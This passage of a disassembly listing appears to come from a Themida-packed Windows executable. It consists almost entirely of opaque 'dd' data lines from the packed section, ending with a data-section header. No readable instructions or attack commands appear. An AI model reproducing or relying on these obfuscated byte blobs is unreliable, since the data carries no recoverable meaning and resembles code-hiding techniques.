8BCE2C63h, 5E9D0h, 0A6350000h dd 668FB6F5h, 664468BAh, 7EC9DE81h, 13E9h, 335F5B00h, 0FCDA4E0Eh dd 728BC547h, 0CE0582FFh, 0AC21CED6h, 0CEC4C081h, 0F604099h dd 480h, 0F8B96600h, 0C1816661h, 0FC610892h, 0AE9h, 417D6900h dd 4CE2F3B6h, 80368F93h, 8E917ECh, 9000000h, 442952F6h dd 0E8D40877h, 0Bh, 0C8FA464Dh, 0AB94660Bh, 66596C3Ch dd 588479B9h, 58A0Fh, 81660000h, 0E9C88BE6h, 0Fh, 2E3F743Eh dd 52FE7A6Dh, 59F343E1h, 0FBAAE75h, 6650FFBFh, 0AEE6C781h dd 14E85Ah, 33F0000h, 393D80D8h, 0C05DA2FBh, 0AE426FB3h dd 32753589h, 5E9B492h, 0CE000000h, 6185249Bh, 2840F5Bh dd 0B4000000h, 8BE3815Bh, 66741F94h, 0F615EF81h, 9E8h dd 0AAF98000h, 0BD436BF0h, 8B56FCDCh, 8B5858CBh, 0A5B860FBh dd 6117F880h, 0CD8060FCh, 7947BF92h, 0E8612656h, 5, 0EE53A458h dd 0CABF0F87h, 99D9815Eh, 81614DA6h, 0A5BA1FDFh, 8FB86641h dd 0CE99Ah, 68170000h, 0B4DB16DBh, 9ED5E272h, 0B70F94B0h dd 0FD38BDAh, 88Ch, 0F3815200h, 0A11DFDBh, 9BB8665Fh, 0F8C68A9Ah dd 0C2BF0F50h, 0C18B665Eh, 5860Fh, 5EBE0000h, 0E803C881h dd 0Eh, 0CA00F8BEh, 25FA454h, 0FEFC23D7h, 0BF0FD87Ch, 830F58C7h dd 2, 0BF0FCF8Bh, 2AD080F9h, 0AE3EEF81h, 880F5AF3h, 3 dd 0B3F2BF0Fh, 0E858528Ah, 12h, 488ADDA5h, 0E4BCA268h dd 0B075231Eh, 98ABC025h, 8D0FE4C0h, 15h, 0FE8h, 3C356600h dd 87162FF6h, 0CB253DD4h, 0AE7D64FBh, 6660595Ah, 0E081DE8Bh dd 20F42F4Ch, 0F6816661h, 0F68024C6h, 5860F7Ah, 0BE000000h dd 5FB4019Ah, 0E7816656h, 805942B7h, 810F21D4h, 2, 60608CB4h dd 0B6EEF081h, 5A5727EAh, 0F1816661h, 8161D880h, 6141D2C8h dd 0DAB86055h, 66531AE9h, 61DE38BFh, 8902AABBh, 13E926h dd 18F90000h, 0C6D21F5Ch, 1A81BEE0h, 490E743Fh, 1B306D7Ch dd 12E900h, 53D40000h, 0BD1A0F5Eh, 6B3C38EDh, 0D49E51DFh dd 1C0D7F7Ah, 1F09BA66h, 0C38AFE8Ah, 81665252h, 59EA0CEFh dd 58C4805Fh, 11E8h, 0B70B3700h, 4A7AD181h, 6AB267E8h dd 0E0EF0A83h, 81669A01h, 5A8ED9E7h, 0DF8BFBB1h, 0E979B5F8h dd 0Dh, 0B6A6D43Ah, 3571D8FAh, 795140EDh, 0F5F281F8h, 0F784607h dd 382h, 0C1BF0F00h, 14E950h, 5AFC0000h, 30C62243h, 20CB4C3Ah dd 0DA32CD13h, 0B71C5848h, 6658C4D8h, 41A4E781h, 14E9h dd 0B619FD00h, 78C72B3Bh, 63606A91h, 0D570B66Ch, 0CF16A764h dd 0EE9FC28h, 0D000000h, 522869C6h, 0A5918DFBh, 1B051D9h dd 0DE9CAh, 0BB2D0000h, 9BEFCB69h, 8C0CC17h, 80517807h dd 0B70FBEF0h, 810F60D1h, 15h, 10E9h, 0B8E5DE00h, 613B94B6h dd 0BD884DF8h, 0B40D0783h, 0E9FC617Ch, 0Eh, 0ABA39E46h dd 332E2DFDh, 3B745AAFh, 0CC8A2301h, 11E9h, 1060C100h dd 92F64938h, 0AEE09630h, 79FBEEFFh, 94BBA4F2h, 53384D0Ah dd 5BB3E280h, 0A527DB9h, 18810F13h dd 0E9000000h, 13h, 133BFEF5h, 42BE833Eh, 2A3A727h, 6B523873h dd 0F5F8F265h, 0E8F6D180h, 11h, 90E58669h, 0CD28FAA6h dd 0C261A569h, 0FEF3F26Eh, 14E8A9h, 46E60000h, 0D8532E8Dh dd 81CA6770h, 2A1D376Eh, 50657ADh, 840F808Ah, 0 dd 0E951595Fh, 12h, 693759Ch, 0E0D5E449h, 0F7FD25F7h, 0DF956C98h dd 60581E5Bh, 38E0Fh, 0EB800000h, 61D98BFAh, 2830Fh, 0E68A0000h dd 0C53FBA66h, 66D68B66h, 0D08BCB8Bh, 8000E780h, 35B743DCh dd 10E9h, 0AFC47F00h, 251E8E65h, 188B7B2Eh, 0D04886Eh dd 81C18BC3h, 7D6DD7D0h, 0BE9561Ah, 3B000000h, 1B90704Bh dd 0EB1A15A0h, 0F5E28B3h, 820FFAB7h, 0Eh, 9E9h, 11992C00h dd 3291106Fh, 6E86EB6h, 0DD000000h, 1CB7B6Eh, 37D08153h dd 5F10D212h, 66F28B66h, 530287BEh, 65E08150h, 5E7122D3h dd 8B50605Ah, 66615AD7h, 815834BFh, 0AA8A6BEFh, 3FB96626h dd 890FF562h, 0 dd 0EE9h, 769D6800h, 50FE88F8h, 8BE7C011h, 0FB28754h, 158Ch dd 0DE800h, 8F9A0000h, 0C817857h, 4367DFD1h, 6011A559h dd 0D9815A61h, 577F0A4Dh, 0F08B6652h, 0FBB70F5Ah, 9BF08166h dd 0F0816607h, 850F6231h, 15h, 0EE956h, 3E840000h, 0DC27E18Eh dd 0A5B2584Eh, 55E297Ch, 74D3815Fh, 603F12FEh, 0DE8h, 0D9DF2300h dd 7BE11A6Bh, 7A298084h, 8D0F7872h, 0 dd 8D0F6158h, 3, 66DAB70Fh, 0A9B0E181h, 860F60h, 0BF000000h dd 253634AAh, 8B666061h, 0D88161D8h, 1205E480h, 0E9FB8B66h dd 0Dh, 12306EB0h, 0BE75E94Bh, 6438055Ch, 0DE9D8h, 0BCD40000h dd 83CBAD56h, 0B6479B5h, 0F3BB4E2h, 58Bh, 2401B900h, 8166246Fh dd 0FC226E8h, 6656C3B7h, 605AD78Bh, 890Fh, 61FC0000h, 19850Fh dd 830F0000h, 13h, 0EE9h, 0DDB93400h, 11E19036h, 0EAAA3B07h dd 8BA00CBAh, 0F68166FAh, 0BF0F300Eh, 81FE8BD7h, 0ACE135DFh dd 14E837h, 0F3490000h, 45B5DFFh, 0A051A936h, 82826A2Bh dd 0E0DD6BAAh, 830FA96Fh, 2, 0E95A6160h, 0Ah, 31E6C08Ah dd 2B1CCC13h, 0B70FA1D6h, 0F960F8DBh, 0CE9h, 0F1A7E500h dd 0CB597134h, 73F525FFh, 0E8526195h, 9, 2BC52750h, 138F9699h dd 0CE932h, 0D6740000h, 0BB9398E4h, 13B49A47h, 5E5FCB01h dd 58C0Fh, 81660000h, 609921C3h, 9E960h, 1850000h, 54ED345h dd 61EAF502h, 11E961FCh, 22000000h, 77203B9h, 0A0FDA4C2h dd 45B05527h, 599F121Ch, 0DE957h, 83170000h, 723902E1h dd 54F972B5h, 586D29EDh, 0E9C6BF0Fh, 12h, 0E57DE5E5h, 0DA093F45h dd 4259C6FDh, 7C082FE8h, 8E9C8A2h, 0B5000000h, 0A4B4529h dd 66B5A1C7h, 402E381h, 0A1DB8166h, 0EE8EAh, 0D74F0000h dd 13053C6h, 0EE524D4Ah, 64BA9230h, 14E9h, 1F130A00h, 0C58FF803h dd 0C3801E03h, 0A79217B1h, 7F70C0A4h, 8C0F5F63h, 4, 0D643BE66h dd 0E9C9B70Fh, 11h, 0CE6A5F3Ch, 0EF131A6Dh, 694B9213h dd 0EBDD5BBh, 13E870h, 0CAAC0000h, 0E867AE58h, 1A4416DAh dd 97416CE4h, 0E7A5BF73h, 58AAB2D6h, 0CF0EE681h, 63B85485h dd 664AAFA4h, 0E960C0BAh, 0Ch, 88E994ECh, 0A69C1839h, 859DF1CEh dd 138C0Fh, 0E9520000h, 0Ch, 0AE18CBE4h, 0E4CEC327h, 395576D0h dd 38A0F59h, 80000000h, 0DE9B9C4h, 0E7000000h, 8E67E4B3h dd 20B21508h, 9E1AA6B0h, 0EE9h, 507A1700h, 3FA587DDh, 426C8F29h dd 0FC53EFDh, 0B360F3BFh, 810F607Bh, 0 aFbslAabK db 'faaӊ',0 db 0E9h, 0Ch, 0 dd 0BD250000h, 55FE07DEh, 9B6A7AF1h, 81665700h, 667E2CC2h dd 0F365ABBh, 68Bh, 2DE68100h, 0E96762E3h, 9, 0D3A75714h dd 0AAFC0FD0h, 38C0F05h, 0F000000h, 9E8F6B7h, 0CB000000h dd 0C327AE18h, 76D0E4CEh, 7E8h, 55822F00h, 734AF6Dh, 13E9h dd 76131300h, 0CEDA30A6h, 8C8D0C9Dh, 5C78CC2Fh, 0E99E4CFFh dd 12E9585Ah, 64000000h, 7E926CBFh, 1B94D664h, 8F0C9754h dd 2A227F29h, 5820F3Ch, 0BB000000h, 7D140573h, 6FEEBE66h dd 66DF8B66h, 0C88BC68Bh, 0FF6C380h, 0FFCF9BFh, 5352C6BFh dd 10E9h, 0AB946600h, 78596C3Ch, 908F9DA3h, 0B5082E20h dd 0F5E59F0h, 0EF8AD7B7h, 8B0F50h, 5F000000h, 9E9h, 22618500h dd 0F3BFD1ECh, 0F280EB15h, 0D38166E5h, 0C68BF2A8h, 0FE8B6660h dd 0E961C68Bh, 8, 6A8EB9B7h, 7C90FBD7h, 8A7CC180h, 0F88B66EFh dd 198F0Fh, 0DE80000h, 18000000h, 0A4C5A6C5h, 273152EEh dd 59F1B22Ch, 880Fh, 665F0000h, 0FF5D08Bh, 18Ch, 0FF8F500h dd 85h, 7E900h, 53420000h, 406CB58Ch, 0A800F26h, 0E9000000h dd 5, 55D9A1C3h, 5FFC57F2h, 4279D981h, 74B742F6h, 0BF84C480h dd 38D293DFh, 8C0Fh, 81660000h, 0E96CD1CEh, 0Eh, 0C25D8436h dd 1BC03512h, 0D3E672F0h, 0BFA061h, 0B311D83Ah, 9E942h dd 0FFB80000h, 7CD8FF88h, 0E93C3F12h, 11h, 79599F12h, 91FAF9B0h dd 0D224874h, 605A03A1h, 0BABB6633h, 14F78182h, 0E96B003Ah dd 9, 0FA7D98DEh, 0FC58A85Dh, 10E9DDh, 0A5DE0000h, 71F3710h dd 3350F0A9h, 0B30C7B29h, 8B664CFBh, 0CA8166C3h, 0AE9FD32h dd 0DC000000h, 166E3EE4h, 7052A7F0h, 31EFBB71h, 8B6042DFh dd 0DA8166FBh, 51616B60h, 4B66BE66h, 0C381665Bh, 5E87B47h dd 0B7000000h, 455CFEDCh, 0A41EBA66h, 0FDE8B5Eh, 283h dd 0F27B000h, 386h, 0F98B6600h, 5E8h, 0E8988300h, 665A3AA5h dd 3875EA81h, 0F8E0Fh, 0AE90000h, 0E3000000h, 0BB85C631h dd 66F9C441h, 0FADA97Ah, 46h dup(0FADA911h), 0A9ADA911h dd 590h dup(0A9BD7C40h), 4B06FF40h, 61h dup(4B06FF64h) dd 8606FF64h, 88h dup(860E27DBh), 4D8h dup(1E611144h) dd 0CCCC1144h, 864h dup(0CCCCCCCCh), 0CCh, 28Dh dup(0) Themida_ ends ; Section 5. (virtual address 0016C000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0016C000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 56C000h dd 80h dup(0) align 1000h _idata2 ends end start